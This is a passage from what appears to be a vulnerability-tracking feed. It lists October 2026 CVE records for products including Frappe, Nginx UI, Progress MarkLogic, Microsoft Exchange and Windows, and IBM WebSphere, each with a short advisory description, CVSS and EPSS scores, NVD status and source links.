Frappe Framework before 15.117.0 and 16.x before 16.30.0 contains an arbitrary file read vulnerability in the handling of attributes in outgoing email HTML. Attackers who can supply outgoing email content can set an attribute value referencing a local file path to expose sensitive server files.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109601).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109601&date=2026-10-25).
Sources:
NVD CVE-2026-109601: https://nvd.nist.gov/vuln/detail/CVE-2026-109601
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109601&date=2026-10-25
Frappe Framework before 15.117.0 and 16.x before 16.30.0 contains an arbitrary file read vulnerability in the handling of attributes in outgoing email HTML. Attackers who can supply outgoing email content can set an attribute value referencing a local file path to expose sensitive server files.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nginx UI is a web user interface for the Nginx web server.
https://kevwire.com/record/CVE-2026-84312
Nginx UI is a web user interface for the Nginx web server. (Oct 12, 2026).
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, GetCasdoorUri uses the configured Casdoor application name as a constant OAuth state value and CasdoorCallback does not compare the submitted state with a value bound to the initiating browser session. An unauthenticated attacker can cause a victim's browser to complete an attacker-controlled Casdoor authorization flow, and the callback can mint a Nginx UI session for the identity returned by that authorization code. This issue is fixed in version 2.4.1.
CVSS 7.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84312).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84312&date=2026-10-25).
Sources:
NVD CVE-2026-84312: https://nvd.nist.gov/vuln/detail/CVE-2026-84312
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84312&date=2026-10-25
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, GetCasdoorUri uses the configured Casdoor application name as a constant OAuth state value and CasdoorCallback does not compare the submitted state with a value bound to the initiating browser session. An unauthenticated attacker can cause a victim's browser to complete an attacker-controlled Casdoor authorization flow, and the callback can mint a Nginx UI session for the identity returned by that authorization code. This issue is fixed in version 2.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe before 13.46.3 and 14.x before 14.21.1 contains an improper access control vulnerability in Email Template permissions that allows any authenticated non-guest user to...
https://kevwire.com/record/CVE-2023-54412
Frappe before 13.46.3 and 14.x before 14.21.1 contains an improper access control vulnerability in Email Template permissions that allows any authenticated non-guest user to... (Oct 12, 2026).
Frappe before 13.46.3 and 14.x before 14.21.1 contains an improper access control vulnerability in Email Template permissions that allows any authenticated non-guest user to create and edit any Email Template. Attackers with low-privileged accounts, including self-registered users when signup is enabled, can modify Email Templates used by the application.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2023-54412).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-54412&date=2026-10-25).
Sources:
NVD CVE-2023-54412: https://nvd.nist.gov/vuln/detail/CVE-2023-54412
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-54412&date=2026-10-25
Frappe before 13.46.3 and 14.x before 14.21.1 contains an improper access control vulnerability in Email Template permissions that allows any authenticated non-guest user to create and edit any Email Template. Attackers with low-privileged accounts, including self-registered users when signup is enabled, can modify Email Templates used by the application.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 use predictable CSRF tokens in Query Console.
https://kevwire.com/record/CVE-2026-85960
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 use predictable CSRF tokens in Query Console. (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 use predictable CSRF tokens in Query Console. A remote attacker who lures an authenticated Query Console user to a malicious page could submit unauthorized requests and execute server-side code with the victim's permissions.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85960).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85960&date=2026-10-25).
Sources:
NVD CVE-2026-85960: https://nvd.nist.gov/vuln/detail/CVE-2026-85960
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85960&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 use predictable CSRF tokens in Query Console. A remote attacker who lures an authenticated Query Console user to a malicious page could submit unauthorized requests and execute server-side code with the victim's permissions.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with delegated database-administrator privileges to perform backup or...
https://kevwire.com/record/CVE-2026-85956
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with delegated database-administrator privileges to perform backup or... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with delegated database-administrator privileges to perform backup or restore operations on forests outside the authorized database scope, which could result in unauthorized access to or modification of security-critical data.
CVSS 9.6 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85956).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85956&date=2026-10-25).
Sources:
NVD CVE-2026-85956: https://nvd.nist.gov/vuln/detail/CVE-2026-85956
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85956&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with delegated database-administrator privileges to perform backup or restore operations on forests outside the authorized database scope, which could result in unauthorized access to or modification of security-critical data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with query-execution access to invoke an XQuery evaluation function...
https://kevwire.com/record/CVE-2026-85955
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with query-execution access to invoke an XQuery evaluation function... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with query-execution access to invoke an XQuery evaluation function without the additional required evaluation privilege, which could result in server-side code execution with elevated permissions.
CVSS 9.9 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85955).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85955&date=2026-10-25).
Sources:
NVD CVE-2026-85955: https://nvd.nist.gov/vuln/detail/CVE-2026-85955
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85955&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow a remote attacker with query-execution access to invoke an XQuery evaluation function without the additional required evaluation privilege, which could result in server-side code execution with elevated permissions.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 can evaluate user-controlled values supplied to certain higher-order XQuery functions in an...
https://kevwire.com/record/CVE-2026-85954
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 can evaluate user-controlled values supplied to certain higher-order XQuery functions in an... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 can evaluate user-controlled values supplied to certain higher-order XQuery functions in an elevated security context, which could result in privilege escalation beyond the attacker's granted permissions.
CVSS 8.6 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85954).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85954&date=2026-10-25).
Sources:
NVD CVE-2026-85954: https://nvd.nist.gov/vuln/detail/CVE-2026-85954
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85954&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 can evaluate user-controlled values supplied to certain higher-order XQuery functions in an elevated security context, which could result in privilege escalation beyond the attacker's granted permissions.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw that could allow a remote attacker with administrative...
https://kevwire.com/record/CVE-2026-85950
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw that could allow a remote attacker with administrative... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw that could allow a remote attacker with administrative privileges to access authentication material associated with higher-privileged users, potentially resulting in unauthorized administrative access.
CVSS 8.4 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85950).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85950&date=2026-10-25).
Sources:
NVD CVE-2026-85950: https://nvd.nist.gov/vuln/detail/CVE-2026-85950
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85950&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw that could allow a remote attacker with administrative privileges to access authentication material associated with higher-privileged users, potentially resulting in unauthorized administrative access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an XQuery injection flaw in a deprecated Management API package path.
https://kevwire.com/record/CVE-2026-85948
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an XQuery injection flaw in a deprecated Management API package path. (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an XQuery injection flaw in a deprecated Management API package path. A remote attacker with manage-user-level privileges could exploit this flaw to obtain persistent unauthorized administrative control.
CVSS 9.9 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85948).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85948&date=2026-10-25).
Sources:
NVD CVE-2026-85948: https://nvd.nist.gov/vuln/detail/CVE-2026-85948
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85948&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an XQuery injection flaw in a deprecated Management API package path. A remote attacker with manage-user-level privileges could exploit this flaw to obtain persistent unauthorized administrative control.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw in certain forest-management operations.
https://kevwire.com/record/CVE-2026-85947
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw in certain forest-management operations. (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw in certain forest-management operations. A remote attacker with forest-management privileges could exploit this flaw to create a persistent unauthorized administrator account, potentially resulting in complete unauthorized administrative control of the server.
CVSS 9.9 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85947).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85947&date=2026-10-25).
Sources:
NVD CVE-2026-85947: https://nvd.nist.gov/vuln/detail/CVE-2026-85947
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85947&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw in certain forest-management operations. A remote attacker with forest-management privileges could exploit this flaw to create a persistent unauthorized administrator account, potentially resulting in complete unauthorized administrative control of the server.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-106625
Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106625).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106625&date=2026-10-25).
Sources:
NVD CVE-2026-106625: https://nvd.nist.gov/vuln/detail/CVE-2026-106625
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106625&date=2026-10-25
Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Microsoft Failover Cluster Virtual Driver allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96864
Double free in Microsoft Failover Cluster Virtual Driver allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Double free in Microsoft Failover Cluster Virtual Driver allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96864).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96864&date=2026-10-25).
Sources:
NVD CVE-2026-96864: https://nvd.nist.gov/vuln/detail/CVE-2026-96864
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96864&date=2026-10-25
Double free in Microsoft Failover Cluster Virtual Driver allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-95943
Double free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Double free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95943).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95943&date=2026-10-25).
Sources:
NVD CVE-2026-95943: https://nvd.nist.gov/vuln/detail/CVE-2026-95943
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95943&date=2026-10-25
Double free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM WebSphere Application Server 8.5, and 9.0 could allow an authenticated attacker to bypass authorization leading to administrative impersonation across the cell.
https://kevwire.com/record/CVE-2026-95680
IBM WebSphere Application Server 8.5, and 9.0 could allow an authenticated attacker to bypass authorization leading to administrative impersonation across the cell. (Oct 13, 2026).
IBM WebSphere Application Server 8.5, and 9.0 could allow an authenticated attacker to bypass authorization leading to administrative impersonation across the cell.
CVSS 8.0 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95680).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95680&date=2026-10-25).
Sources:
NVD CVE-2026-95680: https://nvd.nist.gov/vuln/detail/CVE-2026-95680
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95680&date=2026-10-25
IBM WebSphere Application Server 8.5, and 9.0 could allow an authenticated attacker to bypass authorization leading to administrative impersonation across the cell.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass authentication by exploiting a flaw in the CSIv2 inbound propagation handler.
https://kevwire.com/record/CVE-2026-93907
IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass authentication by exploiting a flaw in the CSIv2 inbound propagation handler. (Oct 13, 2026).
IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass authentication by exploiting a flaw in the CSIv2 inbound propagation handler.
CVSS 8.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93907).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93907&date=2026-10-25).
Sources:
NVD CVE-2026-93907: https://nvd.nist.gov/vuln/detail/CVE-2026-93907
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93907&date=2026-10-25
IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass authentication by exploiting a flaw in the CSIv2 inbound propagation handler.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper verification of cryptographic signature in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-87696
Improper verification of cryptographic signature in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Improper verification of cryptographic signature in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87696).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87696&date=2026-10-25).
Sources:
NVD CVE-2026-87696: https://nvd.nist.gov/vuln/detail/CVE-2026-87696
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87696&date=2026-10-25
Improper verification of cryptographic signature in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inclusion of functionality from untrusted control sphere in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87695
Inclusion of functionality from untrusted control sphere in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Inclusion of functionality from untrusted control sphere in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87695).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87695&date=2026-10-25).
Sources:
NVD CVE-2026-87695: https://nvd.nist.gov/vuln/detail/CVE-2026-87695
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87695&date=2026-10-25
Inclusion of functionality from untrusted control sphere in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Time-of-check time-of-use (toctou) race condition in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85879
Time-of-check time-of-use (toctou) race condition in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Time-of-check time-of-use (toctou) race condition in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85879).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85879&date=2026-10-25).
Sources:
NVD CVE-2026-85879: https://nvd.nist.gov/vuln/detail/CVE-2026-85879
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85879&date=2026-10-25
Time-of-check time-of-use (toctou) race condition in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Defender Firewall Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83679
Use after free in Windows Defender Firewall Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Defender Firewall Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83679).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83679&date=2026-10-25).
Sources:
NVD CVE-2026-83679: https://nvd.nist.gov/vuln/detail/CVE-2026-83679
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83679&date=2026-10-25
Use after free in Windows Defender Firewall Service allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.
https://kevwire.com/record/CVE-2026-83674
Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network. (Oct 13, 2026).
Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83674).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83674&date=2026-10-25).
Sources:
NVD CVE-2026-83674: https://nvd.nist.gov/vuln/detail/CVE-2026-83674
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83674&date=2026-10-25
Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Active Directory Certificate Services (AD CS) allows an authorized attacker to...
https://kevwire.com/record/CVE-2026-83666
Concurrent execution using shared resource with improper synchronization ('race condition') in Active Directory Certificate Services (AD CS) allows an authorized attacker to... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Active Directory Certificate Services (AD CS) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83666).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83666&date=2026-10-25).
Sources:
NVD CVE-2026-83666: https://nvd.nist.gov/vuln/detail/CVE-2026-83666
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83666&date=2026-10-25
